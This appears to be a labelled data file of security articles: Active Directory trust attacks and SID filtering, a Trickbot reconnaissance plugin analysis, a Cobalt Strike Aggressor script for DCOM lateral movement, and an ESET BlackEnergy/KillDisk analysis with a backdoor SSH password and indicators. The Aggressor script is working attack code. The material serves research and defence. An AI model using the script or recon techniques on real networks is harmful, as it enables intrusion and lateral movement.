(thanks @gentilkiwi :) Another Sidenote: Kerberoasting Across Domain Trusts We love Kerberoasting. Introduced by Tim Medin in 2014, we \xe2\x80\x98roast on a ton of our engagements. And if we have a domain that trusts us, we can roast across these trust boundaries, with one minor tweak in some situations. When using .NET\xe2\x80\x99s System.IdentityModel.Tokens.KerberosRequestorSecurityToken class (and then its .GetRequest() method), we specify a service principal name (SPN) to request a TGS-REP for, and subsequently use the GetRequest() to retrieve the bytes for the AP-REQ that\xe2\x80\x99s intended to be sent to the target service. This AP-REQ contains the service ticket that we then extract and use for offline Kerberoasting/password cracking. The documentation for the KerberosRequestorSecurityToken.ServicePrincipalName nicely describes the format as \xe2\x80\x9chost/@ or , where hostname is the name of the computer hosting the target Web service and domain is the fully-qualified domain name of the Kerberos realm in which the host computer resides.\xe2\x80\x9d So if you have any issues with Kerberoasting across trusts (particularly external and forest trusts), try using the SERVICE/host.domain.com@domain.com format and you may have more success. This is possible with PowerView\xe2\x80\x99s Get-DomainSPNTicket, the function that Invoke-Kerberoast is built on. Epilogue: SID Filtering So we previously talked about how/why the forest is the trust boundary in Active Directory, not the domain. A big part of this is the security protection I\xe2\x80\x99ve alluded to several times previously called SID Filtering. The best reference for SID filtering is the [MS-PAC] \xe2\x80\x9cPrivilege Attribute Certificate Data Structure\xe2\x80\x9d documentation, specifically section 4.1.2.2 \xe2\x80\x9cSID Filtering and Claims Transformation.\xe2\x80\x9d I will do my best to explain a few salient points. When a user\xe2\x80\x99s TGT is presented to the new domain through a referral, that TGT contains a privileged attribute certificate (PAC) that contains, among other things, the user\xe2\x80\x99s security identifier (SID), the security identifiers of groups they are in, and anything present in the previously discussed sidHistory field (i.e. the ExtraSids PAC part described in the Trustpocalypse section). This security identification information in the PAC is parsed and analyzed by a trusting domain, and various filters are executed depending on the type of the trust. SIDs matching particular patterns are rejected by the trusting domain under various circumstances, as a security protection. SID filtering is meant to stop malicious users with elevated credentials in a trusted domain/forest from taking control of a trusting domain/forest. This is also described in Microsoft\xe2\x80\x99s \xe2\x80\x9cSecurity Considerations for Trusts\xe2\x80\x9d documentation. There is a set of SIDs that are set to \xe2\x80\x98AlwaysFilter\xe2\x80\x99, meaning they are always filtered out by a trusting domain, no matter the trust type. The main SID we\xe2\x80\x99re interested in, \xe2\x80\x9cEnterprise Admins\xe2\x80\x9d (S-1-5-21--519), the one that allows us to execute the sidHistory-hopping attack, is set to \xe2\x80\x9cForestSpecific\xe2\x80\x9d for filtering. As Microsoft describes, \xe2\x80\x9cThe ForestSpecific rule is for those SIDs that are never allowed in a PAC that originates from out of the forest or from a domain that has been marked as QuarantinedWithinForest, unless it belongs to that domain.\xe2\x80\x9d Again, this explains why the forest is the trust boundary, not the domain, as this elevated SID (along with many others) can not be passed across a trust boundary except if the target domain is within the same forest. QuarantinedWithinForest, huh? It so happens that domains within a forest can be set as \xe2\x80\x9cquarantined\xe2\x80\x9d, which implements a version SID filtering for the domain, even though it is within the forest. However, as the documentation states, \xe2\x80\x9cThe only SIDs that are allowed to be passed from such a domain are the \xe2\x80\x9cEnterprise Domain Controllers\xe2\x80\x9d (S-1-5-9) SID and those described by the trusted domain object (TDO).\xe2\x80\x9d So, since the \xe2\x80\x9cEnterprise Domain Controllers\xe2\x80\x9d SID is NOT filtered out for intra-forest quarantined domains, there is still a way to \xe2\x80\x9chop up\xe2\x80\x9d the forest trust chain and compromise the forest root: This is something I attempted to explain a few years ago without properly understanding the problem, but it makes a bit more sense now after reading heaps of Microsoft documentation :) Wrapup Trusts are not a simple topic. Most pentesters (and many sysadmins!) do not properly understand trusts and the risk exposed by various trust misconfigurations. Unfortunately for us, some bad guys do, and trusts have been abused since nearly the beginning of Active Directory to exploit access in one domain in order to pivot into another. If your domain trust architecture is setup incorrectly, then what\xe2\x80\x99s the answer? Unfortunately, as with many major architectural flaws of this nature, there is not a simple fix. Rearchitecting a major Active Directory deployment can be a long, expensive, and painful process, but there is still a guiding light: the Enhanced Security Administrative Environment (ESAE), commonly referred to as \xe2\x80\x9cRed Forest\xe2\x80\x9d, which is a secured Active Directory architecture that mitigates an enormous number of Active Directory vulnerabilities/misconfigurations. While Microsoft has published aspects of the architecture, the only way that I currently know how have an ESAE/Red Forest is to pay Microsoft to implement it for you. \xc2\xaf\\_(\xe3\x83\x84)_/\xc2\xaf I would love to eventually publish guidance on how organizations implement a \xe2\x80\x9cred-forest-esque\xe2\x80\x9d environment, that while not \xe2\x80\x9cofficially\xe2\x80\x9d compliant with the reference architecture, would still be better than many organization\xe2\x80\x99s current implementations. If anyone has documentation or guidance on how to do practically do this, please contact me (@harmj0y or will [at] harmj0y.net) and I will happily get that kind of information out there. Also published on Medium. Read more posts about ActiveDirectory or redteaming domain trusts powerview Previous Post The PowerView PowerUsage Series #3 Next Post The PowerView PowerUsage Series #4 4 Comments csak December 5, 2017 Nice read! typo when you: Tree-root \xe2\x80\x93 an implicit two-way transitive trust between the forest root domain and the new tree root you\xe2\x80\x99re adding. I haven\xe2\x80\x99t encountered tree-root trusts too often, but from the Microsoft documentation, they\xe2\x80\x99re created __when you when you__ create a new domain tree in a forest. These are intra-forest trusts, and they preserve two-way transitivity while allowing the tree to have a separate domain name (instead of child.parent.com). Reply SS January 2, 2018 Great Article harmj0y I\xe2\x80\x99m trying to understand SID hoping in relation to inter-forest trust relationships. If I have a one-way trust with SID filtering disabled, can a rouge enterprise admin or compromise enterprise admin can get to the Trusted forest? Trust could be transitive or non transitive. Reply harmj0y March 4, 2018 As far as I understand, no, though I originally had the same thought. The SIDs we\xe2\x80\x99d like to abuse are marked with \xe2\x80\x9cForestSpecific\xe2\x80\x9d filtering (https://msdn.microsoft.com/en-us/library/cc237940.aspx) which states, \xe2\x80\x9cThe ForestSpecific rule is for those SIDs that are never allowed in a PAC that originates from out of the forest or from a domain that has been marked as QuarantinedWithinForest, unless it belongs to that domain.\xe2\x80\x9d So, as per the documentation, SID-hopping should not be possible between trusts that are NOT within the same forest. Reply Arnold Clarke August 15, 2018 Apologies in advance, While I understand that a forest is the security boundy, if we have two forests \xe2\x80\x93 forestA and forestB and both forests have a trust relationship \xe2\x80\x93 is it possible if you have full rights in forestA (you can make a ticket with any SIDS/extraSIDS you like) to compromise forest B? Could you do this by generating a ticket in forestA and adding /sids:-FORESTBADMINSID>? Thanks, Arnold Reply Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment Name* Email* Website Save my name, email, and website in this browser for the next time I comment. Notify me of follow-up comments by email. Notify me of new posts by email. This site uses Akismet to reduce spam. Learn how your comment data is processed. Cele Theme by Compete Themes.","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Trickbot\xe2\x80\x99s New Reconnaissance Plugin Blog Business & Technology Threat Research Industry Trends Partners Threat Research Trickbot\xe2\x80\x99s New Reconnaissance Plugin By Floser Bacurio Jr. and Joie Salvio | April 09, 2018 FortiGuard Labs has found a new plugin named networkDLL that is being distributed to the victims of the Trickbot Trojan. This new plugin is similar to the old DomainGrabber plugin discovered late last year in that they both try to collect information about the victim\xe2\x80\x99s network. In fact, we have observed the same functions being used by both plugins. The key difference between these two plugins lies in the type of information they gather. In the past, DomainGrabber focused on obtaining domain credentials and configurations from domain controllers by accessing shared SYSVOL files. networkDLL, on the other hand, focuses on mapping out the victim\xe2\x80\x99s network and getting to know more about the victim\xe2\x80\x99s local system. Which means that it\xe2\x80\x99s essentially a reconnaissance stage plugin, which is very common with multi-staged APT (Advanced Persistent Threat) attacks. In this stage, threat actors gather as much information as they can to determine what type of follow-on attacks are appropriate for the targeted system. As is common with Trickbot plugins, networkDLL does not have any obfuscations, as can be seen in the following image of the library\xe2\x80\x99s main routine: Figure 1. The plugin\xe2\x80\x99s main routine It starts out by listing all the processes currently running in the machine. After that, the following basic information about the system\xe2\x80\x99s operating system is gathered: \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 CSName (Computer Name) \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Caption (Description) \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 CSDVersion (Service Pack) \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 OSArchitecture \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 ProductType (Workstation, Domain Controller, Server) \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 BuildType \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 WindowsDirectory \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 SystemDirectory \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 BootDevice \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 SerialNumber \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 InstallDate \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 LastBootUpTime \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 RegisteredUser \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Organization \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 TotalVisibleMemorySize \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 FreePhysicalMemory In acquiring this basic network information about the victim\xe2\x80\x99s network information, the following Windows native shell commands are executed in the system: \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xe2\x80\x9cipconfig /all\xe2\x80\x9d \xe2\x80\x93 show all adapter TCP/IP configurations \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xe2\x80\x9cnet config workstation\xe2\x80\x9d \xe2\x80\x93 shows what domain/workgroup the machine belongs to \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xe2\x80\x9cnet view all\xe2\x80\x9d \xe2\x80\x93 display all available network shares \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xe2\x80\x9cnltest /domain_trusts /all_trusts\xe2\x80\x9d - list all trusted domains in the network Furthermore, by using the IADsADSystemInfo interface the malware attempts to retrieve the following information: \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 User Name \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Computer Name \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Site Name \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Domain Short Name \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Domain DNS Name \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Forest DNS Name \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Domain Controller DNS Name \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Forest Trees \xc2 Figure 2. Retrieving the AD system info Finally, it further expands its view of the victim\xe2\x80\x99s network by enumerating all visible domain controllers. By using Global Catalogue and LDAP queries it is able to list all computers and user accounts in both the Forest and Domain levels.\xc2 Figure 3. Gathering AD computer and user accounts The following are the attributes that are gathered from the computer and user objects: Computer: \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Cn\xc2 (Common Name) \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 dNSHostname \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 distinguishedName \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 description \xc2\xb7\xc2 \xc2 \xc2 \xc2 operatingSystem User: \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 sAMAccountName \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 mail \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 comment \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 description To retrieve the above information, this plugin uses the Active Directory Service Interface (ADSI) APIs to query the attributes for both computer and user accounts. Figure 4. Retrieving computer account attributes Figure 5. Retrieving user account attributes Conclusion Although this plugin does not currently have the capability to perform an actual attack, the sensitive information that it gathers provides a wide surface that threat actors can utilize for future operations. For instance, they can use the network information to initiate additional lateral movement techniques beyind from EternalRomance exploit that was previously used in Trickbot\xe2\x80\x99s tabDll plugin, as discussed in BleepingComputer\xe2\x80\x99s article. By adding this scheme to the malware\xe2\x80\x99s imminent move to implementing a screen locker module, considerable damage to a target is a real possibility. Solution The trickbot loader and this new plugin are already detected as W32/Trickbot.KAD!tr.pws by Fortiguard Antivirus service. All the C2 servers found are already blocked and categorize as malicious by our Web Filtering service. IOC Files 6a6e190459768d3eb0c0a40c3883fba0fc3de5d8c1f19410eb9233c482139e46 (Trickbot Main) \xe2\x80\x93 W32/Trickbot.KAD!tr.pws a9608bb65b33abaaa3b9f94981cff7b1b76dfb6be5a30b84c2dec46e90521e13 (networkDll) - W32/Trickbot.KAD!tr.pws C2 109.95.113.130:449 87.101.70.109:449 31.134.60.181:449 85.28.129.209:449 82.214.141.134:449 81.227.0.215:449 31.172.177.90:449 185.55.64.47:449 78.155.199.225:443 185.159.129.31:443 194.87.237.178:443 82.146.60.85:443 185.228.232.139:443 195.54.163.29:443 94.250.248.130:443 94.103.82.217:443 91.235.128.14:443 -= FortiGuard Lion Team =- \xc2 \xc2 Check out our latest\xc2 Quarterly Threat Landscape Report\xc2 for more details about recent threats. Sign up\xc2 for our weekly FortiGuard\xc2 intel briefs\xc2 or\xc2 for our\xc2 FortiGuard Threat Intelligence Service. Tags: TrickBot, trojan, web filtering, security research, plugin, cyberthreat Related Posts Threat Research Potential Malware Campaign Targeting JustSystems Ichitaro Users Threat Research Deep Analysis of the Online Banking Botnet TrickBot Threat Research IcedID & Trickbot: A Give-and-Take Relationship News & Articles News Releases News Articles Trademarks Security Research Threat Research FortiGuard Labs Threat Map Threat Briefs Ransomware Connect With Us Blog Fuse Company About Us Why Fortinet Security Fabric Exec Mgmt Careers Certifications Events Industry Awards Contact Us (866) 868-3678 Copyright \xc2\xa9 2019 Fortinet, Inc. All Rights Reserved Terms of Services Privacy Policy","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Scripting Matt Nelson\xe2\x80\x99s MMC20.Application Lateral Movement Technique | Strategic Cyber LLC Strategic Cyber LLC A blog about Armitage, Cobalt Strike, and Red Teaming \xc2\xab My First Go with\xc2 BloodHound High-reputation Redirectors and Domain\xc2 Fronting \xc2\xbb Scripting Matt Nelson\xe2\x80\x99s MMC20.Application Lateral Movement\xc2 Technique January 24, 2017 This is a short blog post with a long title. A few weeks ago, Matt Nelson published Lateral Movement Using the MMC20.APPLICATION COM Object (there\xe2\x80\x99s a Part 2 as well!). The post documents an option, beyond the usual suspects (e.g., services, scheduled tasks, wmi, etc.), to ask a remote system to run a process for you. Matt Nelson\xe2\x80\x99s technique calls the ExecuteShellCommand method of the MMC20.Application COM object. One of the features of COM is its ability to remotely instantiate objects and call methods on them. By calling this method remotely, we can make the target system run a command to load our agent into memory or weaken the target\xe2\x80\x99s configuration for other post-exploitation options. In this post, I will show you how to add this technique to Cobalt Strike with Aggressor Script. Aggressor Script is Cobalt Strike\xe2\x80\x99s scripting language to extend the Cobalt Strike client and add bots to your engagement. Making it easy to quickly add and use new TTPs from Cobalt Strike is very much one of Aggressor Script\xe2\x80\x99s goals. Here\xe2\x80\x99s a script that adds a com-exec command to Beacon. This scripted command is similar to Beacon\xe2\x80\x99s existing psexec, psexec_psh, wmi, and winrm commands for lateral movement. # Lateral Movement alias # https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ # register help for our alias beacon_command_register(""com-exec"", ""lateral movement with DCOM"", ""Synopsis: com-exec [target] [listener]\\n\\n"" . ""Run a payload on a target via DCOM MMC20.Application Object""); # here's our alias to collect our arguments alias com-exec { if ($3 is $null) { # let the user choose a listener openPayloadHelper(lambda({ com_exec_go($bid, $target, $1); }, $bid => $1, $target => $2)); } else { # we have the needed arguments, pass them com_exec_go($1, $2, $3); } } # this is the implementation of the attack sub com_exec_go { local('$command $script $oneliner'); # check if our listener exists if (listener_info($3) is $null) { berror($1, ""Listener $3 does not exist""); return; } # state what we're doing. btask($1, ""Tasked Beacon to jump to $2 ("" . listener_describe($3, $2) . "") via DCOM""); # generate a PowerShell one-liner to run our alias $command = powershell($3, true, ""x86""); # remove ""powershell.exe "" from our command $command = strrep($command, ""powershell.exe "", """"); # build script that uses DCOM to invoke ExecuteShellCommand on MMC20.Application object $script = '[activator]::CreateInstance([type]::GetTypeFromProgID(""MMC20.Application"", ""'; $script .= $2; $script .= '"")).Document.ActiveView.ExecuteShellCommand(""'; $script .= 'c:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe'; $script .= '"", $null, ""'; $script .= $command; $script .= '"", ""7"")'; # run the script we built up bpowershell!($1, $script); # complete staging process (for bind_pipe listeners) bstage($1, $2, $3); } This alias is similar to the lateral movement example in the Aggressor Script documentation. To use this alias: put the above into a script, load it, and use com-exec [target] [listener] within Beacon. If you type com-exec [target], Cobalt Strike will ask you which listener you want to use. That\xe2\x80\x99s it! Share this: Click to share on Facebook (Opens in new window) Click to share on LinkedIn (Opens in new window) Click to share on Twitter (Opens in new window) Click to share on Reddit (Opens in new window) Related Posted in Cobalt Strike | Leave a Reply Cancel reply Enter your comment here... Fill in your details below or click an icon to log in: Email (required) (Address never made public) Name (required) Website You are commenting using your WordPress.com account. (\xc2 Log\xc2 Out\xc2 /\xc2 Change\xc2 ) You are commenting using your Google account. (\xc2 Log\xc2 Out\xc2 /\xc2 Change\xc2 ) You are commenting using your Twitter account. (\xc2 Log\xc2 Out\xc2 /\xc2 Change\xc2 ) You are commenting using your Facebook account. (\xc2 Log\xc2 Out\xc2 /\xc2 Change\xc2 ) Cancel Connecting to %s Notify me of new comments via email. Notify me of new posts via email. Welcome\xe2\x80\xa6 Welcome to the Cobalt Strike blog by Strategic Cyber LLC's Raphael Mudge Contents Adversary Simulation Announcements Armitage Cobalt Strike Interviews Links metasploit framework Red Team Scripting Strategic Cyber LLC Uncategorized Subscribe RSS - Posts RSS - Comments Enter your email address to find out about new posts by email. I won't use your email for any other reason. Subscribe Let\xe2\x80\x99s Connect Twitter Contact Information Conferences 2017 Want to meet in person? I'll have a vendor table at these conferences: \xc2 ShmooCon Blog at WordPress.com. Entries (RSS) and Comments (RSS).","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry | WeLiveSecurity In English Em Portugu\xc3\xaas En fran\xc3\xa7ais En Espa\xc3\xb1ol In Deutsch Menu toggle menu All Posts Latest Research How To Videos Podcasts Conference Materials White Papers Magazine Our Experts Em Portugu\xc3\xaas En fran\xc3\xa7ais En Espa\xc3\xb1ol In Deutsch Award-winning news, views, and insight from the ESET security community BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry The cybercriminal group behind BlackEnergy, the malware family that has been around since 2007 and has made a comeback in 2014, was also active in the year 2015. Anton Cherepanov 3 Jan 2016 - 12:28AM Share The cybercriminal group behind BlackEnergy, the malware family that has been around since 2007 and has made a comeback in 2014, was also active in the year 2015. Update:\xc2 In case you want to have a more simplified version\xc2 of this article, please check out\xc2 BlackEnergy trojan strikes again: Attacks Ukrainian electric power industry. The cybercriminal group behind BlackEnergy, the malware family that has been around since 2007 and has made a comeback in 2014 (see our previous blog posts on Back in BlackEnergy *: 2014 Targeted Attacks in Ukraine and Poland and BlackEnergy PowerPoint Campaigns, as well as our Virus Bulletin talk on the subject), was also active in the year 2015. ESET has recently discovered that the BlackEnergy trojan was recently used as a backdoor to deliver a destructive KillDisk component in attacks against Ukrainian news media companies and against the electrical power industry. In this blog, we provide details on the BlackEnergy samples ESET has detected in 2015, as well as the KillDisk components used in the attacks. Furthermore, we examine a previously unknown SSH backdoor that was also used as another channel of accessing the infected systems, in addition to BlackEnergy. We continue to monitor the BlackEnergy malware operations for future developments. For any inquiries or to make sample submissions related to the subject, contact us at: threatintel@eset.com BlackEnergy evolution in 2015 Once activated, variants of BlackEnergy Lite allow a malware operator to check specific criteria in order to assess whether the infected computer truly belongs to the intended target. If that is the case, the dropper of a regular BlackEnergy variant is pushed to the system. The exact mechanism of infection by BlackEnergy is described in our Virus Bulletin presentation and this whitepaper by F-Secure. The BlackEnergy malware stores XML configuration data embedded in the binary of DLL payload. Figure 1 \xe2\x80\x93 The BlackEnergy configuration example used in 2015 Apart from a list of C&C servers, the BlackEnergy config contains a value called build_id. This value is a unique text string used to identify individual infections or infection attempts by the BlackEnergy malware operators. The combinations of letters and numbers used can sometimes reveal information about the campaign and targets. Here is the list of Build ID values that we identified in 2015: 2015en khm10 khelm 2015telsmi 2015ts 2015stb kiev_o brd2015 11131526kbp 02260517ee 03150618aaa 11131526trk We can speculate that some of them have a special meaning. For example 2015telsmi could contain the Russian acronym SMI \xe2\x80\x93 Sredstva Massovoj Informacii, 2015en could mean Energy, and there\xe2\x80\x99s also the obvious \xe2\x80\x9cKiev\xe2\x80\x9d. KillDisk component In 2014 some variants of the BlackEnergy trojan contained a plugin designed for the destruction of the infected system, named dstr. In 2015 the BlackEnergy group started to use a new destructive BlackEnergy component detected by ESET products as Win32/KillDisk.NBB, Win32/KillDisk.NBC and Win32/KillDisk.NBD trojan variants. The main purpose of this component is to do damage to data stored on the computer: it overwrites documents with random data and makes the OS unbootable. The first known case where the KillDisk component of BlackEnergy was used was documented by CERT-UA in November 2015. In that instance, a number of news media companies were attacked at the time of the 2015 Ukrainian local elections. The report claims that a large number of video materials and various documents were destroyed as a result of the attack. It should be noted that the Win32/KillDisk.NBB variant used against media companies is more focused on destroying various types of files and documents. It has a long list of file extensions that it tries to overwrite and delete. The complete list contains more than 4000 file extensions. Figure 2 \xe2\x80\x93 A partial list of file extensions targeted for destruction by KillDisk.NBB The KillDisk component used in attacks against energy companies in Ukraine was slightly different. Our analysis of the samples shows that the main changes made in the newest version are: Now it accepts a command line argument, to set a specific time delay when the destructive payload should activate. It also deletes Windows Event Logs : Application, Security, Setup, System. It is less focused on deleting documents. Only 35 file extensions are targeted. Figure 3 \xe2\x80\x93 A list of file extensions targeted for destruction by new variant of KillDisk component As well as being able to delete system files to make the system unbootable \xe2\x80\x93 functionality typical for such destructive trojans \xe2\x80\x93 the KillDisk variant detected in the electricity distribution companies also appears to contain some additional functionality specifically intended to sabotage industrial systems. Once activated, this variant of the KillDisk component looks for and terminates two non-standard processes with the following names: komut.exe sec_service.exe We didn\xe2\x80\x99t manage to find any information regarding the name of the first process (komut.exe). The second process name may belong to software called ASEM Ubiquity, a software platform that is often used in Industrial control systems (ICS), or to ELTIMA Serial to Ethernet Connector. In case the process is found, the malware does not just terminate it, but also overwrites the executable file with random data. Backdoored SSH server In addition to the malware families already mentioned, we have discovered an interesting sample used by the BlackEnergy group. During our investigation of one of the compromised servers we found an application that, at first glance, appeared to be a legitimate SSH server called Dropbear SSH. In the order to run the SSH server, the attackers created a VBS file with the following content: Set WshShell = CreateObject(\xe2\x80\x9cWScript.Shell\xe2\x80\x9d) WshShell.CurrentDirectory = \xe2\x80\x9cC:\\WINDOWS\\TEMP\\Dropbear\\\xe2\x80\x9d WshShell.Run \xe2\x80\x9cdropbear.exe -r rsa -d dss -a -p 6789\xe2\x80\x9d, 0, false As is evident here, the SSH server will accept connections on port number 6789. By running SSH on the server in a compromised network, attackers can come back to the network whenever they want. However, for some reason this was not enough for them. After detailed analysis we discovered that the binary of the SSH server actually contains a backdoor. Figure 4 \xe2\x80\x93 Backdoored authentication function in SSH server As you can see in Figure 4, this version of Dropbear SSH will authenticate the user if the password passDs5Bu9Te7 was entered. The same situation applies to authentication by key pair \xe2\x80\x93 the server contains a pre-defined constant public key and it allows authentication only if a particular private key is used. Figure 5 \xe2\x80\x93 The embedded RSA public key in SSH server ESET security solutions detect this threat as Win32/SSHBearDoor.A trojan. Indicators of Compromise (IoC) IP addresses of BlackEnergy C2-servers: 5.149.254.114 5.9.32.230 31.210.111.154 88.198.25.92 146.0.74.7 188.40.8.72 XLS document with malicious macro SHA-1: AA67CA4FB712374F5301D1D2BAB0AC66107A4DF1 BlackEnergy Lite dropper SHA-1: 4C424D5C8CFEDF8D2164B9F833F7C631F94C5A4C BlackEnergy Big dropper SHA-1: 896FCACFF6310BBE5335677E99E4C3D370F73D96 BlackEnergy drivers SHA-1: 069163E1FB606C6178E23066E0AC7B7F0E18506B 0B4BE96ADA3B54453BD37130087618EA90168D72 1A716BF5532C13FA0DC407D00ACDC4A457FA87CD 1A86F7EF10849DA7D36CA27D0C9B1D686768E177 1CBE4E22B034EE8EA8567E3F8EB9426B30D4AFFE 20901CC767055F29CA3B676550164A66F85E2A42 2C1260FD5CEAEF3B5CB11D702EDC4CDD1610C2ED 2D805BCA41AA0EB1FC7EC3BD944EFD7DBA686AE1 4BC2BBD1809C8B66EECD7C28AC319B948577DE7B 502BD7662A553397BBDCFA27B585D740A20C49FC 672F5F332A6303080D807200A7F258C8155C54AF 84248BC0AC1F2F42A41CFFFA70B21B347DDC70E9 A427B264C1BD2712D1178912753BAC051A7A2F6C A9ACA6F541555619159640D3EBC570CDCDCE0A0D B05E577E002C510E7AB11B996A1CD8FE8FDADA0C BD87CF5B66E36506F1D6774FD40C2C92A196E278 BE319672A87D0DD1F055AD1221B6FFD8C226A6E2 C7E919622D6D8EA2491ED392A0F8457E4483EAE9 CD07036416B3A344A34F4571CE6A1DF3CBB5783F D91E6BB091551E773B3933BE5985F91711D6AC3B E1C2B28E6A35AEADB508C60A9D09AB7B1041AFB8 E40F0D402FDCBA6DD7467C1366D040B02A44628C E5A2204F085C07250DA07D71CB4E48769328D7DC KillDisk-components SHA-1: 16F44FAC7E8BC94ECCD7AD9692E6665EF540EEC4 8AD6F88C5813C2B4CD7ABAB1D6C056D95D6AC569 6D6BA221DA5B1AE1E910BBEAA07BD44AFF26A7C0 F3E41EB94C4D72A98CD743BBB02D248F510AD925 VBS/Agent.AD trojan SHA-1: 72D0B326410E1D0705281FDE83CB7C33C67BC8CA Win32/SSHBearDoor.A trojan SHA-1: 166D71C63D0EB609C4F77499112965DB7D9A51BB Picture credits: \xc2\xa9flickr/tanozzo Anton Cherepanov 3 Jan 2016 - 12:28AM Similar Articles Cybercrime Cybercrime seen to be getting worse: The time to act is now Cybercrime Hackers breach NASA, steal Mars mission data Cybercrime Why cybercriminals are eyeing smart buildings Cybercrime Hackers steal 19 years\xe2\x80\x99 worth of data from a top Australian university Discussion Home About Us Contact Us Sitemap Our Experts ESET Research How To Categories RSS Configurator News Widget Privacy policy Legal Information Copyright \xc2\xa9 ESET, All Rights Reserved Back to 